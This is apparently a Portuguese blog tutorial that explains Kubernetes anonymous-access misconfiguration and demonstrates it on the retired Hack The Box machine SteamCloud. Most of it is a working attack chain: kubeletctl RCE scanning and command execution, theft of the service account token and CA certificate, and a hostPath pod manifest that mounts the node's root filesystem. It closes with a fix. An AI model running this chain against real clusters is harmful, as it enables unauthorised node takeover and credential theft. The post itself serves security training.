Explorando a api do kubernetes

O que é o Kubernetes?

O Kubernetes é um orquestrador de containers com foco em automatizar a implantação e gerencia automatizada de software. Foi criado pela Google e cedido a Cloud Native Computing Foundation como um projeto Open Source.

O kubernetes possui o control plane, onde realiza as decisões globais como realizar schedule de recursos (kube-schedule), detecta e executa eventos para todo o cluster (kube-controller-manager), armazena as informações sobre os recursos do cluster (etcd) e possuí seu http endpoint de acesso que pode ser público ou privado (kube-apiserver).

Como o kubernetes trabalha em cluster ele se precisa de outro recurso para se comunicar com os nodes. O recurso em questão é o kubelet que é um agent presente em todos os nodes do cluster, ele garante que os pods que o control plane designou para o node executem nas condições especificadas.

Nos nodes também estão presentes o kube-proxy que é responsável pelas regras de rede dos recursos presentes no node e o Container Runtime responsável pela criação dos containers dos respectivos pods. Um detalhe importante que o docker era o Container Runtime padrão, mas a partir da versão 1.24 do kubernetes passou a ser o containerd, que o docker usava por baixo dos panos, eliminando assim uma camada.

O nosso foco será no kubelet e kube-apiserver, onde iremos explorar um erro comum de configuração.

O kubernetes ele não é seguro por padrão, ou seja, é necessário realizar configurações de segurança para restringir o acesso a seus recursos. Muita das vezes não é restrito o acesso a usuários padrões e esse é o caso do acesso anônimo.

O anonymous access como é referido na documentação do kubernetes é habilitado no kube-apiserver através da seguinte flag setada como true:

--anonymous-auth=true

Caso este parâmetro não esteja disponível nas configurações presuma que esta habilitado.

Este é um vetor de ataque que esta sendo ativamente explorado visando coleta de informações, segredos, mineração de criptomoedas e leaks, como podemos ver neste artigo publicado em 09/08/2023:
Malicious Campaigns exploit Weak Kubernetes Clusters for Crypto

Apesar de público, o acesso anônimo não disponibiliza acesso a muitos recursos do clusters, visto que após a autenticação é necessário que o usuário tenha autorização para acessar os recursos do kubernetes. O kubernetes possui políticas (RBAC) que limite o acesso anônimo a endpoints comuns como o /version por exemplo.

No entanto em alguns casos estas regras de autorização não estão sendo configuradas devidamente, permitindo que o acesso anônimo consiga criar workloads no kubernetes. E é isso que iremos ver agora.

Explorando um alvo

A demonstração deste tipo de vulnerabilidade será feita em um ambiente controlado, através de um máquina retired do Hackthebox.

O hackthebox é uma plataforma para treinamento de segurança e CTF, possuindo diversos ambientes, máquinas, trilhas e desafios com foco em pentest, red team e blue team.

Para esta demo iremos utilizar uma máquina chamada SteamCloud.

Em primeiro momento nos é disponibilizado o endereço ip da mesma e iremos realizar um scan utilizando nmap para verificar quais portas estão abertas no alvo:

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# nmap -sV -Pn -sC 10.129.138.209
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-21 18:09 EDT
Nmap scan report for 10.129.138.209
Host is up (0.33s latency).

PORT      STATE SERVICE          VERSION
22/tcp    open  ssh              OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 fcfb90ee7c73a1d4bf87f871e844c63c (RSA)
|   256 46832b1b01db71646a3e27cb536f81a1 (ECDSA)
|_  256 1d8dd341f3ffa437e8ac780889c2e3c5 (ED25519)
2379/tcp  open  ssl/etcd-client?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.138.209, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2023-07-21T21:46:58
|_Not valid after:  2024-07-20T21:46:58
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  h2
2380/tcp  open  ssl/etcd-server?
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  h2
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.138.209, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2023-07-21T21:46:58
|_Not valid after:  2024-07-20T21:46:58
8443/tcp  open  ssl/https-alt
|_http-title: Site doesn't have a title (application/json).
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 30433f12-a711-4292-b944-5c81dd5fd6d5
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 2fcaed9f-2416-42a2-9058-81c5d8500108
|     X-Kubernetes-Pf-Prioritylevel-Uid: b2b0e1f4-affd-4551-8a28-e218e4f0d78b
|     Date: Fri, 21 Jul 2023 22:09:38 GMT
|     Content-Length: 212
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
|   GetRequest:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 0f21c6c0-f5e4-4a3e-8c19-fbb27a136219
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 2fcaed9f-2416-42a2-9058-81c5d8500108
|     X-Kubernetes-Pf-Prioritylevel-Uid: b2b0e1f4-affd-4551-8a28-e218e4f0d78b
|     Date: Fri, 21 Jul 2023 22:09:33 GMT
|     Content-Length: 185
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
|   HTTPOptions:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 136aa56a-0022-4991-8edc-4f5659678a84
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 2fcaed9f-2416-42a2-9058-81c5d8500108
|     X-Kubernetes-Pf-Prioritylevel-Uid: b2b0e1f4-affd-4551-8a28-e218e4f0d78b
|     Date: Fri, 21 Jul 2023 22:09:36 GMT
|     Content-Length: 189
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.129.138.209, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2023-07-20T21:46:56
|_Not valid after:  2026-07-20T21:46:56
| tls-alpn:
|   h2
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
10250/tcp open  ssl/http         Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_ssl-date: TLS randomness does not represent time
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=steamcloud@1689976020
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2023-07-21T20:47:00
|_Not valid after:  2024-07-20T20:47:00
| tls-alpn:
|   h2
|_  http/1.1
10256/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).

Podemos notar que a porta 10250 esta aberta. Esta porta pertence ao kubelet. Podemos testar se conseguimos acesso utilizando o curl:

curl --insecure https://10.129.138.209:10250/pods

Ou para uma melhor análise podemos usar uma ferramenta que automatiza esse tipo de análise e exploração chamada kubeletctl.

O kubeletctl é um cli para acessar o kubelet que automatiza análises de segurança, que de acordo com sua documentação possui as seguintes funcionalidades:

• Run any kubelet API call
• Scan for nodes with opened kubelet API
• Scan for containers with RCE
• Run a command on all the available containers by kubelet at the same time
• Get service account tokens from all available containers by kubelet
• Nice printing :)

Nesta demo estamos utilizando o binário na versão 1.7:
kubeletctl_linux_amd64

E com isso podemos listar os pods rodando na namespace default:

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# ./kubeletctl --server 10.129.138.209 pods
┌────────────────────────────────────────────────────────────────────────────────┐
│                                Pods from Kubelet                               │
├───┬────────────────────────────────────┬─────────────┬─────────────────────────┤
│   │ POD                                │ NAMESPACE   │ CONTAINERS              │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 1 │ kube-proxy-xxlrb                   │ kube-system │ kube-proxy              │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 2 │ coredns-78fcd69978-p6tv6           │ kube-system │ coredns                 │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 3 │ nginx                              │ default     │ nginx                   │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 4 │ etcd-steamcloud                    │ kube-system │ etcd                    │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 5 │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 6 │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 7 │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 8 │ storage-provisioner                │ kube-system │ storage-provisioner     │
│   │                                    │             │                         │
└───┴────────────────────────────────────┴─────────────┴─────────────────────────┘

Podemos também procurar por vulnerabilidades, como neste caso um Remote Command Execution (RCE):

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# ./kubeletctl --server 10.129.138.209 scan rce
┌───────────────────────────────────────────────────────────────────────────────────────────────────────┐
│                                    Node with pods vulnerable to RCE                                   │
├───┬────────────────┬────────────────────────────────────┬─────────────┬─────────────────────────┬─────┤
│   │ NODE IP        │ PODS                               │ NAMESPACE   │ CONTAINERS              │ RCE │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│   │                │                                    │             │                         │ RUN │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 1 │ 10.129.138.209 │ nginx                              │ default     │ nginx                   │ +   │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 2 │                │ etcd-steamcloud                    │ kube-system │ etcd                    │ -   │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 3 │                │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          │ -   │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 4 │                │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │ -   │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 5 │                │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          │ -   │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 6 │                │ storage-provisioner                │ kube-system │ storage-provisioner     │ -   │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 7 │                │ kube-proxy-xxlrb                   │ kube-system │ kube-proxy              │ +   │
├───┼────────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 8 │                │ coredns-78fcd69978-p6tv6           │ kube-system │ coredns                 │ -   │
└───┴────────────────┴────────────────────────────────────┴─────────────┴─────────────────────────┴─────┘

Note que o pod nginx possui permissão para execução de comandos, com isso podemos utilizar o kubectl (client para acesso a kube-apiserver) para interagir com o pod.

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# ./kubeletctl --server 10.129.138.209 exec "id" -p nginx -c nginx
uid=0(root) gid=0(root) groups=0(root)

Agora que temos um RCE podemos buscar os certificados que o pod usa, desta forma conseguimos escalar privilégios!

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# export token=$(./kubeletctl --server 10.129.138.209 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx)

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# ./kubeletctl --server 10.129.138.209 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx > ca.crt

Salvando o token do serviceaccount que o pod usa e o certificado conseguimos ter as mesmas permissões que o pod possui.

O serviceaccount é utilizado como meio de vincular permissões (Roles ou ClusterRoles) a um recurso do kubernetes (pod, deployment e etc).

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# kubectl get pods --token `cat ./token` -s https://10.129.138.209:8443 --certificate-authority ./ca.crt
NAME    READY   STATUS    RESTARTS   AGE
nginx   1/1     Running   0          63m

Podemos listar nossas permissões e assim realizar uma movimentação lateral ou continuar escalando privilégios:

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# kubectl auth can-i --list --token `cat ./token` -s https://10.129.138.209:8443 --certificate-authority ./ca.crt
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
pods                                            []                                    []               [get create list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]

Através da listagem de permissões e autorização acima notamos que podemos criar um pod. E isso é um grande problema!

Podemos criar um pod malicioso no qual iremos acessar o node. Para isso basta montar um volume mapeando o que queremos acessar no node. Neste caso iremos mapear o diretório /root.

apiVersion: v1
kind: Pod
metadata:
  name: nginxt
  namespace: default
spec:
  containers:
  - name: nginxt
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
      path: /
  automountServiceAccountToken: true
  hostNetwork: true

Agora basta criar o pod malicioso:

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# kubectl apply -f f.yml  --token `cat ./token` -s https://10.129.138.209:8443 --certificate-authority ./ca.crt
pod/nginxt created

E ao listar o conteúdo do nosso novo pod malicioso:

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# ./kubectl --server 10.129.138.209 exec "ls -a" -p nginxt -c nginxt
.   .dockerenv  boot  etc   lib    media  opt   root  sbin  sys  usr
..  bin         dev   home  lib64  mnt    proc  run   srv   tmp  var

┌──(root㉿kali)-[/home/kali/hackthebox/cloudtrack/steamcloud]
└─# ./kubectl --server 10.129.138.209 exec "ls -a /root" -p nginxt -c nginxt
.     dev         initrd.img.old  libx32      opt   sbin  usr
..    etc         lib             lost+found  proc  srv   var
bin   home        lib32           media       root  sys   vmlinuz
boot  initrd.img  lib64           mnt         run   tmp   vmlinuz.old

Com isso temos acesso total ao sistema de arquivos de node!

E com acesso ao node podemos agora procurar formas de nos mover lateralmente no cluster ou na rede interna, mapear volumes, sockets e etc.

E como resolver esse problema?

Em clusters em que não temos acesso ao control plane, que são gerenciados por clouds (GKE, AKS, EKS), por exemplo, podem ser verificadas regras e permissões relacionadas ao anonymous access e desabilitadas/removidas.

Já em clusters gerenciados (kubeadm, kubespray, rancher) pode ser feito o ajuste da para false da flag:

--anonymous-auth=false

Lembrando que caso alguma aplicação que utilize os endpoints que seja através do anonymous access devem ser ajustadas, criando um acesso com as devidas permissões para isso.